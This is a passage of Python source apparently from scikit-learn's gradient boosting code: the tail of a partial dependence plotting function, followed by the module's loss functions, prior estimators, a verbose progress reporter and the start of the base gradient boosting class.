        Verbose output during PD computations. Defaults to 0.
    ax : Matplotlib axis object, default None
        An axis object onto which the plots will be drawn.
    line_kw : dict
        Dict with keywords passed to the ``matplotlib.pyplot.plot`` call.
        For one-way partial dependence plots.
    contour_kw : dict
        Dict with keywords passed to the ``matplotlib.pyplot.plot`` call.
        For two-way partial dependence plots.
    fig_kw : dict
        Dict with keywords passed to the figure() call.
        Note that all keywords not recognized above will be automatically
        included here.

    Returns
    -------
    fig : figure
        The Matplotlib Figure object.
    axs : seq of Axis objects
        A seq of Axis objects, one for each subplot.

    Examples
    --------
    >>> from sklearn.datasets import make_friedman1
    >>> from sklearn.ensemble import GradientBoostingRegressor
    >>> X, y = make_friedman1()
    >>> clf = GradientBoostingRegressor(n_estimators=10).fit(X, y)
    >>> fig, axs = plot_partial_dependence(clf, X, [0, (0, 1)]) #doctest: +SKIP
    ...
    """
    import matplotlib.pyplot as plt
    from matplotlib import transforms
    from matplotlib.ticker import MaxNLocator
    from matplotlib.ticker import ScalarFormatter

    if not isinstance(gbrt, BaseGradientBoosting):
        raise ValueError('gbrt has to be an instance of BaseGradientBoosting')
    if gbrt.estimators_.shape[0] == 0:
        raise ValueError('Call %s.fit before partial_dependence' %
                         gbrt.__class__.__name__)

    # set label_idx for multi-class GBRT
    if hasattr(gbrt, 'classes_') and np.size(gbrt.classes_) > 2:
        if label is None:
            raise ValueError('label is not given for multi-class PDP')
        label_idx = np.searchsorted(gbrt.classes_, label)
        if gbrt.classes_[label_idx] != label:
            raise ValueError('label %s not in ``gbrt.classes_``' % str(label))
    else:
        # regression and binary classification
        label_idx = 0

    X = check_array(X, dtype=DTYPE, order='C')
    if gbrt.n_features != X.shape[1]:
        raise ValueError('X.shape[1] does not match gbrt.n_features')

    if line_kw is None:
        line_kw = {'color': 'green'}
    if contour_kw is None:
        contour_kw = {}

    # convert feature_names to list
    if feature_names is None:
        # if not feature_names use fx indices as name
        feature_names = [str(i) for i in range(gbrt.n_features)]
    elif isinstance(feature_names, np.ndarray):
        feature_names = feature_names.tolist()

    def convert_feature(fx):
        if isinstance(fx, six.string_types):
            try:
                fx = feature_names.index(fx)
            except ValueError:
                raise ValueError('Feature %s not in feature_names' % fx)
        return fx

    # convert features into a seq of int tuples
    tmp_features = []
    for fxs in features:
        if isinstance(fxs, (numbers.Integral,) + six.string_types):
            fxs = (fxs,)
        try:
            fxs = np.array([convert_feature(fx) for fx in fxs], dtype=np.int32)
        except TypeError:
            raise ValueError('features must be either int, str, or tuple '
                             'of int/str')
        if not (1 <= np.size(fxs) <= 2):
            raise ValueError('target features must be either one or two')

        tmp_features.append(fxs)

    features = tmp_features

    names = []
    try:
        for fxs in features:
            l = []
            # explicit loop so "i" is bound for exception below
            for i in fxs:
                l.append(feature_names[i])
            names.append(l)
    except IndexError:
        raise ValueError('features[i] must be in [0, n_features) '
                         'but was %d' % i)

    # compute PD functions
    pd_result = Parallel(n_jobs=n_jobs, verbose=verbose)(
        delayed(partial_dependence)(gbrt, fxs, X=X,
                                    grid_resolution=grid_resolution,
                                    percentiles=percentiles)
        for fxs in features)

    # get global min and max values of PD grouped by plot type
    pdp_lim = {}
    for pdp, axes in pd_result:
        min_pd, max_pd = pdp[label_idx].min(), pdp[label_idx].max()
        n_fx = len(axes)
        old_min_pd, old_max_pd = pdp_lim.get(n_fx, (min_pd, max_pd))
        min_pd = min(min_pd, old_min_pd)
        max_pd = max(max_pd, old_max_pd)
        pdp_lim[n_fx] = (min_pd, max_pd)

    # create contour levels for two-way plots
    if 2 in pdp_lim:
        Z_level = np.linspace(*pdp_lim[2], num=8)

    if ax is None:
        fig = plt.figure(**fig_kw)
    else:
        fig = ax.get_figure()
        fig.clear()

    n_cols = min(n_cols, len(features))
    n_rows = int(np.ceil(len(features) / float(n_cols)))
    axs = []
    for i, fx, name, (pdp, axes) in zip(count(), features, names,
                                        pd_result):
        ax = fig.add_subplot(n_rows, n_cols, i + 1)

        if len(axes) == 1:
            ax.plot(axes[0], pdp[label_idx].ravel(), **line_kw)
        else:
            # make contour plot
            assert len(axes) == 2
            XX, YY = np.meshgrid(axes[0], axes[1])
            Z = pdp[label_idx].reshape(list(map(np.size, axes))).T
            CS = ax.contour(XX, YY, Z, levels=Z_level, linewidths=0.5,
                            colors='k')
            ax.contourf(XX, YY, Z, levels=Z_level, vmax=Z_level[-1],
                        vmin=Z_level[0], alpha=0.75, **contour_kw)
            ax.clabel(CS, fmt='%2.2f', colors='k', fontsize=10, inline=True)

        # plot data deciles + axes labels
        deciles = mquantiles(X[:, fx[0]], prob=np.arange(0.1, 1.0, 0.1))
        trans = transforms.blended_transform_factory(ax.transData,
                                                     ax.transAxes)
        ylim = ax.get_ylim()
        ax.vlines(deciles, [0], 0.05, transform=trans, color='k')
        ax.set_xlabel(name[0])
        ax.set_ylim(ylim)

        # prevent x-axis ticks from overlapping
        ax.xaxis.set_major_locator(MaxNLocator(nbins=6, prune='lower'))
        tick_formatter = ScalarFormatter()
        tick_formatter.set_powerlimits((-3, 4))
        ax.xaxis.set_major_formatter(tick_formatter)

        if len(axes) > 1:
            # two-way PDP - y-axis deciles + labels
            deciles = mquantiles(X[:, fx[1]], prob=np.arange(0.1, 1.0, 0.1))
            trans = transforms.blended_transform_factory(ax.transAxes,
                                                         ax.transData)
            xlim = ax.get_xlim()
            ax.hlines(deciles, [0], 0.05, transform=trans, color='k')
            ax.set_ylabel(name[1])
            # hline erases xlim
            ax.set_xlim(xlim)
        else:
            ax.set_ylabel('Partial dependence')

        if len(axes) == 1:
            ax.set_ylim(pdp_lim[1])
        axs.append(ax)

    fig.subplots_adjust(bottom=0.15, top=0.7, left=0.1, right=0.95, wspace=0.4,
                        hspace=0.3)
    return fig, axs






"""Gradient Boosted Regression Trees

This module contains methods for fitting gradient boosted regression trees for
both classification and regression.

The module structure is the following:

- The ``BaseGradientBoosting`` base class implements a common ``fit`` method
  for all the estimators in the module. Regression and classification
  only differ in the concrete ``LossFunction`` used.

- ``GradientBoostingClassifier`` implements gradient boosting for
  classification problems.

- ``GradientBoostingRegressor`` implements gradient boosting for
  regression problems.
"""

# Authors: Peter Prettenhofer, Scott White, Gilles Louppe, Emanuele Olivetti,
#          Arnaud Joly, Jacob Schreiber
# License: BSD 3 clause

from __future__ import print_function
from __future__ import division

from abc import ABCMeta
from abc import abstractmethod

from .base import BaseEnsemble
from ..base import BaseEstimator
from ..base import ClassifierMixin
from ..base import RegressorMixin
from ..externals import six
from ..feature_selection.from_model import _LearntSelectorMixin

from ._gradient_boosting import predict_stages
from ._gradient_boosting import predict_stage
from ._gradient_boosting import _random_sample_mask

import numbers
import numpy as np

from scipy import stats
from scipy.sparse import csc_matrix
from scipy.sparse import csr_matrix
from scipy.sparse import issparse

from time import time
from ..tree.tree import DecisionTreeRegressor
from ..tree._tree import DTYPE
from ..tree._tree import TREE_LEAF

from ..utils import check_random_state
from ..utils import check_array
from ..utils import check_X_y
from ..utils import column_or_1d
from ..utils import check_consistent_length
from ..utils import deprecated
from ..utils.extmath import logsumexp
from ..utils.fixes import expit
from ..utils.fixes import bincount
from ..utils.stats import _weighted_percentile
from ..utils.validation import check_is_fitted
from ..utils.multiclass import check_classification_targets
from ..exceptions import NotFittedError


class QuantileEstimator(BaseEstimator):
    """An estimator predicting the alpha-quantile of the training targets."""
    def __init__(self, alpha=0.9):
        if not 0 < alpha < 1.0:
            raise ValueError("`alpha` must be in (0, 1.0) but was %r" % alpha)
        self.alpha = alpha

    def fit(self, X, y, sample_weight=None):
        if sample_weight is None:
            self.quantile = stats.scoreatpercentile(y, self.alpha * 100.0)
        else:
            self.quantile = _weighted_percentile(y, sample_weight,
                                                 self.alpha * 100.0)

    def predict(self, X):
        check_is_fitted(self, 'quantile')

        y = np.empty((X.shape[0], 1), dtype=np.float64)
        y.fill(self.quantile)
        return y


class MeanEstimator(BaseEstimator):
    """An estimator predicting the mean of the training targets."""
    def fit(self, X, y, sample_weight=None):
        if sample_weight is None:
            self.mean = np.mean(y)
        else:
            self.mean = np.average(y, weights=sample_weight)

    def predict(self, X):
        check_is_fitted(self, 'mean')

        y = np.empty((X.shape[0], 1), dtype=np.float64)
        y.fill(self.mean)
        return y


class LogOddsEstimator(BaseEstimator):
    """An estimator predicting the log odds ratio."""
    scale = 1.0

    def fit(self, X, y, sample_weight=None):
        # pre-cond: pos, neg are encoded as 1, 0
        if sample_weight is None:
            pos = np.sum(y)
            neg = y.shape[0] - pos
        else:
            pos = np.sum(sample_weight * y)
            neg = np.sum(sample_weight * (1 - y))

        if neg == 0 or pos == 0:
            raise ValueError('y contains non binary labels.')
        self.prior = self.scale * np.log(pos / neg)

    def predict(self, X):
        check_is_fitted(self, 'prior')

        y = np.empty((X.shape[0], 1), dtype=np.float64)
        y.fill(self.prior)
        return y


class ScaledLogOddsEstimator(LogOddsEstimator):
    """Log odds ratio scaled by 0.5 -- for exponential loss. """
    scale = 0.5


class PriorProbabilityEstimator(BaseEstimator):
    """An estimator predicting the probability of each
    class in the training data.
    """
    def fit(self, X, y, sample_weight=None):
        if sample_weight is None:
            sample_weight = np.ones_like(y, dtype=np.float64)
        class_counts = bincount(y, weights=sample_weight)
        self.priors = class_counts / class_counts.sum()

    def predict(self, X):
        check_is_fitted(self, 'priors')

        y = np.empty((X.shape[0], self.priors.shape[0]), dtype=np.float64)
        y[:] = self.priors
        return y


class ZeroEstimator(BaseEstimator):
    """An estimator that simply predicts zero. """

    def fit(self, X, y, sample_weight=None):
        if np.issubdtype(y.dtype, int):
            # classification
            self.n_classes = np.unique(y).shape[0]
            if self.n_classes == 2:
                self.n_classes = 1
        else:
            # regression
            self.n_classes = 1

    def predict(self, X):
        check_is_fitted(self, 'n_classes')

        y = np.empty((X.shape[0], self.n_classes), dtype=np.float64)
        y.fill(0.0)
        return y


class LossFunction(six.with_metaclass(ABCMeta, object)):
    """Abstract base class for various loss functions.

    Attributes
    ----------
    K : int
        The number of regression trees to be induced;
        1 for regression and binary classification;
        ``n_classes`` for multi-class classification.
    """

    is_multi_class = False

    def __init__(self, n_classes):
        self.K = n_classes

    def init_estimator(self):
        """Default ``init`` estimator for loss function. """
        raise NotImplementedError()

    @abstractmethod
    def __call__(self, y, pred, sample_weight=None):
        """Compute the loss of prediction ``pred`` and ``y``. """

    @abstractmethod
    def negative_gradient(self, y, y_pred, **kargs):
        """Compute the negative gradient.

        Parameters
        ---------
        y : np.ndarray, shape=(n,)
            The target labels.
        y_pred : np.ndarray, shape=(n,):
            The predictions.
        """

    def update_terminal_regions(self, tree, X, y, residual, y_pred,
                                sample_weight, sample_mask,
                                learning_rate=1.0, k=0):
        """Update the terminal regions (=leaves) of the given tree and
        updates the current predictions of the model. Traverses tree
        and invokes template method `_update_terminal_region`.

        Parameters
        ----------
        tree : tree.Tree
            The tree object.
        X : ndarray, shape=(n, m)
            The data array.
        y : ndarray, shape=(n,)
            The target labels.
        residual : ndarray, shape=(n,)
            The residuals (usually the negative gradient).
        y_pred : ndarray, shape=(n,)
            The predictions.
        sample_weight : ndarray, shape=(n,)
            The weight of each sample.
        sample_mask : ndarray, shape=(n,)
            The sample mask to be used.
        learning_rate : float, default=0.1
            learning rate shrinks the contribution of each tree by
             ``learning_rate``.
        k : int, default 0
            The index of the estimator being updated.

        """
        # compute leaf for each sample in ``X``.
        terminal_regions = tree.apply(X)

        # mask all which are not in sample mask.
        masked_terminal_regions = terminal_regions.copy()
        masked_terminal_regions[~sample_mask] = -1

        # update each leaf (= perform line search)
        for leaf in np.where(tree.children_left == TREE_LEAF)[0]:
            self._update_terminal_region(tree, masked_terminal_regions,
                                         leaf, X, y, residual,
                                         y_pred[:, k], sample_weight)

        # update predictions (both in-bag and out-of-bag)
        y_pred[:, k] += (learning_rate
                         * tree.value[:, 0, 0].take(terminal_regions, axis=0))

    @abstractmethod
    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        """Template method for updating terminal regions (=leaves). """


class RegressionLossFunction(six.with_metaclass(ABCMeta, LossFunction)):
    """Base class for regression loss functions. """

    def __init__(self, n_classes):
        if n_classes != 1:
            raise ValueError("``n_classes`` must be 1 for regression but "
                             "was %r" % n_classes)
        super(RegressionLossFunction, self).__init__(n_classes)


class LeastSquaresError(RegressionLossFunction):
    """Loss function for least squares (LS) estimation.
    Terminal regions need not to be updated for least squares. """
    def init_estimator(self):
        return MeanEstimator()

    def __call__(self, y, pred, sample_weight=None):
        if sample_weight is None:
            return np.mean((y - pred.ravel()) ** 2.0)
        else:
            return (1.0 / sample_weight.sum() *
                    np.sum(sample_weight * ((y - pred.ravel()) ** 2.0)))

    def negative_gradient(self, y, pred, **kargs):
        return y - pred.ravel()

    def update_terminal_regions(self, tree, X, y, residual, y_pred,
                                sample_weight, sample_mask,
                                learning_rate=1.0, k=0):
        """Least squares does not need to update terminal regions.

        But it has to update the predictions.
        """
        # update predictions
        y_pred[:, k] += learning_rate * tree.predict(X).ravel()

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        pass


class LeastAbsoluteError(RegressionLossFunction):
    """Loss function for least absolute deviation (LAD) regression. """
    def init_estimator(self):
        return QuantileEstimator(alpha=0.5)

    def __call__(self, y, pred, sample_weight=None):
        if sample_weight is None:
            return np.abs(y - pred.ravel()).mean()
        else:
            return (1.0 / sample_weight.sum() *
                    np.sum(sample_weight * np.abs(y - pred.ravel())))

    def negative_gradient(self, y, pred, **kargs):
        """1.0 if y - pred > 0.0 else -1.0"""
        pred = pred.ravel()
        return 2.0 * (y - pred > 0.0) - 1.0

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        """LAD updates terminal regions to median estimates. """
        terminal_region = np.where(terminal_regions == leaf)[0]
        sample_weight = sample_weight.take(terminal_region, axis=0)
        diff = y.take(terminal_region, axis=0) - pred.take(terminal_region, axis=0)
        tree.value[leaf, 0, 0] = _weighted_percentile(diff, sample_weight, percentile=50)


class HuberLossFunction(RegressionLossFunction):
    """Huber loss function for robust regression.

    M-Regression proposed in Friedman 2001.

    References
    ----------
    J. Friedman, Greedy Function Approximation: A Gradient Boosting
    Machine, The Annals of Statistics, Vol. 29, No. 5, 2001.
    """

    def __init__(self, n_classes, alpha=0.9):
        super(HuberLossFunction, self).__init__(n_classes)
        self.alpha = alpha
        self.gamma = None

    def init_estimator(self):
        return QuantileEstimator(alpha=0.5)

    def __call__(self, y, pred, sample_weight=None):
        pred = pred.ravel()
        diff = y - pred
        gamma = self.gamma
        if gamma is None:
            if sample_weight is None:
                gamma = stats.scoreatpercentile(np.abs(diff), self.alpha * 100)
            else:
                gamma = _weighted_percentile(np.abs(diff), sample_weight, self.alpha * 100)

        gamma_mask = np.abs(diff) <= gamma
        if sample_weight is None:
            sq_loss = np.sum(0.5 * diff[gamma_mask] ** 2.0)
            lin_loss = np.sum(gamma * (np.abs(diff[~gamma_mask]) - gamma / 2.0))
            loss = (sq_loss + lin_loss) / y.shape[0]
        else:
            sq_loss = np.sum(0.5 * sample_weight[gamma_mask] * diff[gamma_mask] ** 2.0)
            lin_loss = np.sum(gamma * sample_weight[~gamma_mask] *
                              (np.abs(diff[~gamma_mask]) - gamma / 2.0))
            loss = (sq_loss + lin_loss) / sample_weight.sum()
        return loss

    def negative_gradient(self, y, pred, sample_weight=None, **kargs):
        pred = pred.ravel()
        diff = y - pred
        if sample_weight is None:
            gamma = stats.scoreatpercentile(np.abs(diff), self.alpha * 100)
        else:
            gamma = _weighted_percentile(np.abs(diff), sample_weight, self.alpha * 100)
        gamma_mask = np.abs(diff) <= gamma
        residual = np.zeros((y.shape[0],), dtype=np.float64)
        residual[gamma_mask] = diff[gamma_mask]
        residual[~gamma_mask] = gamma * np.sign(diff[~gamma_mask])
        self.gamma = gamma
        return residual

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        terminal_region = np.where(terminal_regions == leaf)[0]
        sample_weight = sample_weight.take(terminal_region, axis=0)
        gamma = self.gamma
        diff = (y.take(terminal_region, axis=0)
                - pred.take(terminal_region, axis=0))
        median = _weighted_percentile(diff, sample_weight, percentile=50)
        diff_minus_median = diff - median
        tree.value[leaf, 0] = median + np.mean(
            np.sign(diff_minus_median) *
            np.minimum(np.abs(diff_minus_median), gamma))


class QuantileLossFunction(RegressionLossFunction):
    """Loss function for quantile regression.

    Quantile regression allows to estimate the percentiles
    of the conditional distribution of the target.
    """

    def __init__(self, n_classes, alpha=0.9):
        super(QuantileLossFunction, self).__init__(n_classes)
        assert 0 < alpha < 1.0
        self.alpha = alpha
        self.percentile = alpha * 100.0

    def init_estimator(self):
        return QuantileEstimator(self.alpha)

    def __call__(self, y, pred, sample_weight=None):
        pred = pred.ravel()
        diff = y - pred
        alpha = self.alpha

        mask = y > pred
        if sample_weight is None:
            loss = (alpha * diff[mask].sum() +
                    (1.0 - alpha) * diff[~mask].sum()) / y.shape[0]
        else:
            loss = ((alpha * np.sum(sample_weight[mask] * diff[mask]) +
                    (1.0 - alpha) * np.sum(sample_weight[~mask] * diff[~mask])) /
                    sample_weight.sum())
        return loss

    def negative_gradient(self, y, pred, **kargs):
        alpha = self.alpha
        pred = pred.ravel()
        mask = y > pred
        return (alpha * mask) - ((1.0 - alpha) * ~mask)

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        terminal_region = np.where(terminal_regions == leaf)[0]
        diff = (y.take(terminal_region, axis=0)
                - pred.take(terminal_region, axis=0))
        sample_weight = sample_weight.take(terminal_region, axis=0)

        val = _weighted_percentile(diff, sample_weight, self.percentile)
        tree.value[leaf, 0] = val


class ClassificationLossFunction(six.with_metaclass(ABCMeta, LossFunction)):
    """Base class for classification loss functions. """

    def _score_to_proba(self, score):
        """Template method to convert scores to probabilities.

         the does not support probabilites raises AttributeError.
        """
        raise TypeError('%s does not support predict_proba' % type(self).__name__)

    @abstractmethod
    def _score_to_decision(self, score):
        """Template method to convert scores to decisions.

        Returns int arrays.
        """


class BinomialDeviance(ClassificationLossFunction):
    """Binomial deviance loss function for binary classification.

    Binary classification is a special case; here, we only need to
    fit one tree instead of ``n_classes`` trees.
    """
    def __init__(self, n_classes):
        if n_classes != 2:
            raise ValueError("{0:s} requires 2 classes.".format(
                self.__class__.__name__))
        # we only need to fit one tree for binary clf.
        super(BinomialDeviance, self).__init__(1)

    def init_estimator(self):
        return LogOddsEstimator()

    def __call__(self, y, pred, sample_weight=None):
        """Compute the deviance (= 2 * negative log-likelihood). """
        # logaddexp(0, v) == log(1.0 + exp(v))
        pred = pred.ravel()
        if sample_weight is None:
            return -2.0 * np.mean((y * pred) - np.logaddexp(0.0, pred))
        else:
            return (-2.0 / sample_weight.sum() *
                    np.sum(sample_weight * ((y * pred) - np.logaddexp(0.0, pred))))

    def negative_gradient(self, y, pred, **kargs):
        """Compute the residual (= negative gradient). """
        return y - expit(pred.ravel())

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        """Make a single Newton-Raphson step.

        our node estimate is given by:

            sum(w * (y - prob)) / sum(w * prob * (1 - prob))

        we take advantage that: y - prob = residual
        """
        terminal_region = np.where(terminal_regions == leaf)[0]
        residual = residual.take(terminal_region, axis=0)
        y = y.take(terminal_region, axis=0)
        sample_weight = sample_weight.take(terminal_region, axis=0)

        numerator = np.sum(sample_weight * residual)
        denominator = np.sum(sample_weight * (y - residual) * (1 - y + residual))

        if denominator == 0.0:
            tree.value[leaf, 0, 0] = 0.0
        else:
            tree.value[leaf, 0, 0] = numerator / denominator

    def _score_to_proba(self, score):
        proba = np.ones((score.shape[0], 2), dtype=np.float64)
        proba[:, 1] = expit(score.ravel())
        proba[:, 0] -= proba[:, 1]
        return proba

    def _score_to_decision(self, score):
        proba = self._score_to_proba(score)
        return np.argmax(proba, axis=1)


class MultinomialDeviance(ClassificationLossFunction):
    """Multinomial deviance loss function for multi-class classification.

    For multi-class classification we need to fit ``n_classes`` trees at
    each stage.
    """

    is_multi_class = True

    def __init__(self, n_classes):
        if n_classes < 3:
            raise ValueError("{0:s} requires more than 2 classes.".format(
                self.__class__.__name__))
        super(MultinomialDeviance, self).__init__(n_classes)

    def init_estimator(self):
        return PriorProbabilityEstimator()

    def __call__(self, y, pred, sample_weight=None):
        # create one-hot label encoding
        Y = np.zeros((y.shape[0], self.K), dtype=np.float64)
        for k in range(self.K):
            Y[:, k] = y == k

        if sample_weight is None:
            return np.sum(-1 * (Y * pred).sum(axis=1) +
                          logsumexp(pred, axis=1))
        else:
            return np.sum(-1 * sample_weight * (Y * pred).sum(axis=1) +
                          logsumexp(pred, axis=1))

    def negative_gradient(self, y, pred, k=0, **kwargs):
        """Compute negative gradient for the ``k``-th class. """
        return y - np.nan_to_num(np.exp(pred[:, k] -
                                        logsumexp(pred, axis=1)))

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        """Make a single Newton-Raphson step. """
        terminal_region = np.where(terminal_regions == leaf)[0]
        residual = residual.take(terminal_region, axis=0)
        y = y.take(terminal_region, axis=0)
        sample_weight = sample_weight.take(terminal_region, axis=0)

        numerator = np.sum(sample_weight * residual)
        numerator *= (self.K - 1) / self.K

        denominator = np.sum(sample_weight * (y - residual) *
                             (1.0 - y + residual))

        if denominator == 0.0:
            tree.value[leaf, 0, 0] = 0.0
        else:
            tree.value[leaf, 0, 0] = numerator / denominator

    def _score_to_proba(self, score):
        return np.nan_to_num(
            np.exp(score - (logsumexp(score, axis=1)[:, np.newaxis])))

    def _score_to_decision(self, score):
        proba = self._score_to_proba(score)
        return np.argmax(proba, axis=1)


class ExponentialLoss(ClassificationLossFunction):
    """Exponential loss function for binary classification.

    Same loss as AdaBoost.

    References
    ----------
    Greg Ridgeway, Generalized Boosted Models: A guide to the gbm package, 2007
    """
    def __init__(self, n_classes):
        if n_classes != 2:
            raise ValueError("{0:s} requires 2 classes.".format(
                self.__class__.__name__))
        # we only need to fit one tree for binary clf.
        super(ExponentialLoss, self).__init__(1)

    def init_estimator(self):
        return ScaledLogOddsEstimator()

    def __call__(self, y, pred, sample_weight=None):
        pred = pred.ravel()
        if sample_weight is None:
            return np.mean(np.exp(-(2. * y - 1.) * pred))
        else:
            return (1.0 / sample_weight.sum() *
                    np.sum(sample_weight * np.exp(-(2 * y - 1) * pred)))

    def negative_gradient(self, y, pred, **kargs):
        y_ = -(2. * y - 1.)
        return y_ * np.exp(y_ * pred.ravel())

    def _update_terminal_region(self, tree, terminal_regions, leaf, X, y,
                                residual, pred, sample_weight):
        terminal_region = np.where(terminal_regions == leaf)[0]
        pred = pred.take(terminal_region, axis=0)
        y = y.take(terminal_region, axis=0)
        sample_weight = sample_weight.take(terminal_region, axis=0)

        y_ = 2. * y - 1.

        numerator = np.sum(y_ * sample_weight * np.exp(-y_ * pred))
        denominator = np.sum(sample_weight * np.exp(-y_ * pred))

        if denominator == 0.0:
            tree.value[leaf, 0, 0] = 0.0
        else:
            tree.value[leaf, 0, 0] = numerator / denominator

    def _score_to_proba(self, score):
        proba = np.ones((score.shape[0], 2), dtype=np.float64)
        proba[:, 1] = expit(2.0 * score.ravel())
        proba[:, 0] -= proba[:, 1]
        return proba

    def _score_to_decision(self, score):
        return (score.ravel() >= 0.0).astype(np.int)


LOSS_FUNCTIONS = {'ls': LeastSquaresError,
                  'lad': LeastAbsoluteError,
                  'huber': HuberLossFunction,
                  'quantile': QuantileLossFunction,
                  'deviance': None,    # for both, multinomial and binomial
                  'exponential': ExponentialLoss,
                  }


INIT_ESTIMATORS = {'zero': ZeroEstimator}


class VerboseReporter(object):
    """Reports verbose output to stdout.

    If ``verbose==1`` output is printed once in a while (when iteration mod
    verbose_mod is zero).; if larger than 1 then output is printed for
    each update.
    """

    def __init__(self, verbose):
        self.verbose = verbose

    def init(self, est, begin_at_stage=0):
        # header fields and line format str
        header_fields = ['Iter', 'Train Loss']
        verbose_fmt = ['{iter:>10d}', '{train_score:>16.4f}']
        # do oob?
        if est.subsample < 1:
            header_fields.append('OOB Improve')
            verbose_fmt.append('{oob_impr:>16.4f}')
        header_fields.append('Remaining Time')
        verbose_fmt.append('{remaining_time:>16s}')

        # print the header line
        print(('%10s ' + '%16s ' *
               (len(header_fields) - 1)) % tuple(header_fields))

        self.verbose_fmt = ' '.join(verbose_fmt)
        # plot verbose info each time i % verbose_mod == 0
        self.verbose_mod = 1
        self.start_time = time()
        self.begin_at_stage = begin_at_stage

    def update(self, j, est):
        """Update reporter with new iteration. """
        do_oob = est.subsample < 1
        # we need to take into account if we fit additional estimators.
        i = j - self.begin_at_stage  # iteration relative to the start iter
        if (i + 1) % self.verbose_mod == 0:
            oob_impr = est.oob_improvement_[j] if do_oob else 0
            remaining_time = ((est.n_estimators - (j + 1)) *
                              (time() - self.start_time) / float(i + 1))
            if remaining_time > 60:
                remaining_time = '{0:.2f}m'.format(remaining_time / 60.0)
            else:
                remaining_time = '{0:.2f}s'.format(remaining_time)
            print(self.verbose_fmt.format(iter=j + 1,
                                          train_score=est.train_score_[j],
                                          oob_impr=oob_impr,
                                          remaining_time=remaining_time))
            if self.verbose == 1 and ((i + 1) // (self.verbose_mod * 10) > 0):
                # adjust verbose frequency (powers of 10)
                self.verbose_mod *= 10


class BaseGradientBoosting(six.with_metaclass(ABCMeta, BaseEnsemble,
                                              _LearntSelectorMixin)):
    """Abstract base class for Gradient Boosting. """

    @abstractmethod
    def __init__(self, loss, learning_rate, n_estimators, criterion,
                 min_samples_split, min_samples_leaf, min_weight_fraction_leaf,
                 max_depth, min_impurity_split, init, subsample, max_features,
                 random_state, alpha=0.9, verbose=0, max_leaf_nodes=None,
                 warm_start=False, presort='auto'):

        self.n_estimators = n_estimators
        self.learning_rate = learning_rate
        self.loss = loss
        self.criterion = criterion
        self.min_samples_split = min_samples_split
        self.min_samples_leaf = min_samples_leaf
        self.min_weight_fraction_leaf = min_weight_fraction_leaf
        self.subsample = subsample
        self.max_features = max_features
        self.max_depth = max_depth
        self.min_impurity_split = min_impurity_split
        self.init = init
        self.random_state = random_state
        self.alpha = alpha
        self.verbose = verbose
        self.max_leaf_nodes = max_leaf_nodes
        self.warm_start = warm_start
        self.presort = presort

        self.estimators_ = np.empty((0, 0), dtype=np.object)

    def _fit_stage(self, i, X, y, y_pred, sample_weight, sample_mask,
                   random_state, X_idx_sorted, X_csc=None, X_csr=None):
        """Fit another stage of ``n_classes_`` trees to the boosting model. """

        assert sample_mask.dtype == np.bool
        loss = self.loss_
        original_y = y

        for k in range(loss.K):
            if loss.is_multi_class:
                y = np.array(original_y == k, dtype=np.float64)

            residual = loss.negative_gradient(y, y_pred, k=k,
                                              sample_weight=sample_weight)

            # induce regression tree on residuals
            tree = DecisionTreeRegressor(
                criterion=self.criterion,
                splitter='best',
                max_depth=self.max_depth,
                min_samples_split=self.min_samples_split,
                min_samples_leaf=self.min_samples_leaf,
                min_weight_fraction_leaf=self.min_weight_fraction_leaf,
                max_features=self.max_features,
                max_leaf_nodes=self.max_leaf_nodes,
                random_state=random_state,
                presort=self.presort)

            if self.subsample < 1.0:
                # no inplace multiplication!
                sample_weight = sample_weight * sample_mask.astype(np.float64)

            if X_csc is not None:
                tree.fit(X_csc, residual, sample_weight=sample_weight,
                         check_input=False, X_idx_sorted=X_idx_sorted)
            else:
                tree.fit(X, residual, sample_weight=sample_weight,
                         check_input=False, X_idx_sorted=X_idx_sorted)

            # update tree leaves
            if X_csr is not None:
                loss.update_terminal_regions(tree.tree_, X_csr, y, residual, y_pred,
                                             sample_weight, sample_mask,
                                             self.learning_rate, k=k)
            else:
                loss.update_terminal_regions(tree.tree_, X, y, residual, y_pred,
                                             sample_weight, sample_mask,
                                             self.learning_rate, k=k)

            # add tree to ensemble
            self.estimators_[i, k] = tree

        return y_pred

    def _check_params(self):
        """Check validity of parameters and raise ValueError if not valid. """
        if self.n_estimators <= 0:
            raise ValueError("n_estimators must be greater than 0 but "
                             "was %r" % self.n_estimators)

        if self.learning_rate <= 0.0:
            raise ValueError("learning_rate must be greater than 0 but "
                             "was %r" % self.learning_rate)

        if (self.loss not in self._SUPPORTED_LOSS
                or self.loss not in LOSS_FUNCTIONS):
            raise ValueError("Loss '{0:s}' not supported. ".format(self.loss))

        if self.loss == 'deviance':
            loss_class = (MultinomialDeviance
                          if len(self.classes_) > 2
                          else BinomialDeviance)
        else:
            loss_class = LOSS_FUNCTIONS[self.loss]

        if self.loss in ('huber', 'quantile'):
            self.loss_ = loss_class(self.n_classes_, self.alpha)
        else:
            self.loss_ = loss_class(self.n_classes_)

        if not (0.0 < self.subsample <= 1.0):
            raise ValueError("subsample must be in (0,1] but "
                             "was %r" % self.subsample)

        if self.init is not None:
            if isinstance(self.init, six.string_types):
                if self.init not in INIT_ESTIMATORS:
                    raise ValueError('init="%s" is not supported' % self.init)
            else:
                if (not hasattr(self.init, 'fit')
                        or not hasattr(self.init, 'predict')):
                    raise ValueError("init=%r must be valid BaseEstimator "
                                     "and support both fit and "
                                     "predict" % self.init)

        if not (0.0 < self.alpha < 1.0):
            raise ValueError("alpha must be in (0.0, 1.0) but "
                             "was %r" % self.alpha)

        if isinstance(self.max_features, six.string_types):
            if self.max_features == "auto":
                # if is_classification
                if self.n_classes_ > 1:
                    max_features = max(1, int(np.sqrt(self.n_features)))
                else:
                    # is regression
                    max_features = self.n_features
            elif self.max_features == "sqrt":
                max_features = max(1, int(np.sqrt(self.n_features)))
            elif self.max_features == "log2":
                max_features = max(1, int(np.log2(self.n_features)))
            else:
                raise ValueError("Invalid value for max_features: %r. "
                                 "Allowed string values are 'auto', 'sqrt' "
                                 "or 'log2'." % self.max_features)
        elif self.max_features is None:
